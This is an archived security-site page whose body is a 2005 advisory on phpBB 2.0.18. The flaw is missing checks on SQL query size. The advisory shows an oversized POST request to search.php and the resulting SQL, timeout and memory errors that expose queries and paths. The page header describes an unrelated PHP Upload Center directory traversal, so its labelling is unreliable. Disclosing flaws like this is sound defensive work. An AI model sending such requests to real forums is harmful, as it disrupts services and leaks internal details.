exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

php2018.txt

php2018.txt
Posted Dec 2, 2005
Authored by Liz0ziM, wannacut, r00t3rr0r | Site biyo.tk

PHP Upload Center is susceptible to directory traversal attacks via the filename parameter in index.php.

tags | exploit, php
SHA-256 | b0c58e722732597e6a71434966b4d4d5e25157a6f853ef7c8c347fdebf9f598e

php2018.txt

Change Mirror Download
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

[phpBB 2.0.18 SQL Query problem cXIb8O3.19]

Author: Maksymilian Arciemowicz (cXIb8O3)
Date: 11.11.2005
from securityreason.com TEAM

- --- 0.Description ---
phpBB is a high powered, fully scalable, and highly customizable Open Source
bulletin boar
d package. phpBB has a user-friendly interface, simple and straightforward
administration
panel, and helpful FAQ. Based on the powerful PHP server language and your
choice of MySQL
, MS-SQL, PostgreSQL or Access/ODBC database servers, phpBB is the ideal free
community so
lution for all web sites.
Contact with author http://www.phpbb.com/about.php.

- --- 1. * SQL query problem ---
phpBB2 don't check size of sql query. So we can send any data in all post
variables.
Standart Environment:

post_max_size=8M (standart)
max_allowed_packet < 7M (1M standart in mysql)

Example Evironment:
memory_limit>8MB
max_execution_time=30
max_allowed_packet=1M

I have written simple request where one variable POST to sql query was 1M.

- ---request---
POST /2018/phpBB2/search.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: strlen(x)

mode=results&search_keywords=SecurityReasonComSecurityRea...xMB>max_allowed_packet.
(example.1MB.data)...sonCom
- ---/request---

so in output:

- ---output1---
Could not obtain matched posts list
DEBUG MODE
SQL Error : 1153 Got a packet bigger than 'max_allowed_packet'
SELECT m.post_id FROM phpbb_search_wordlist w, phpbb_search_wordmatch m WHERE
w.word_text LIKE 'securityreasoncomsecurityreasoncom...' AND m.word_id =
w.word_id AND w.word_common <> 1 AND m.title_match = 0
Line : 321
File : search.php
- ---/output1---

sql error.

or when you have:
memory_limit=8MB
or
max_execution_time<30
display_error=1

You can see in output example:

- ---output2---
Fatal error: Maximum execution time of 15 seconds exceeded
in /www/2018/phpBB2/includes/functions_search.php on line 72
- ---/output2---

- ---output3---
Fatal error: Allowed memory size of 8388608 bytes exhausted (tried to allocate
1746401 bytes) in /www/2018/phpBB2/includes/functions_search.php on line 27
- ---/output3---


Exploit:
http://securityreason.com/achievement_exploitalert/4
(simple errors)

- --- 2. Greets ---
sp3x

- --- 3.Contact ---
Author: Maksymilian Arciemowicz < cXIb8O3 >
Email: max [at] jestsuper [dot] pl or cxib [at] securityreason [dot] com
GPG: http://securityreason.com/key/Arciemowicz.Maksymilian.gpg
securityreason.com TEAM
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.2 (FreeBSD)

iD8DBQFDTTO43Ke13X/fTO4RAuUsAJ9Ry6GqbPsb1wSxvqU37cp87UHpTgCeIwdy
k1NCDNaYsDg1ofLsZFJDMAw=
=dp0t
-----END PGP SIGNATURE-----
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close